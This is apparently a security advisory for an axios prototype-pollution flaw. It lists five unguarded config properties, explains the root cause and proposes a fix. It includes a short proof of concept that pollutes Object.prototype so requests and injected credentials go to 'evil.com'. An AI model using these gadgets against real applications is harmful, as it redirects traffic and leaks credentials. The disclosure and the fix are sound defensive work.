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CVE-2026-42264 is a critical severity vulnerability with a CVSS score of 9.1. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Authorization header, leaking request contents to any server that logs auth headers.| Vendor | Product |
|---|---|
| Axios | Axios |
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mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Apply the existing own() helper to all affected properties:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.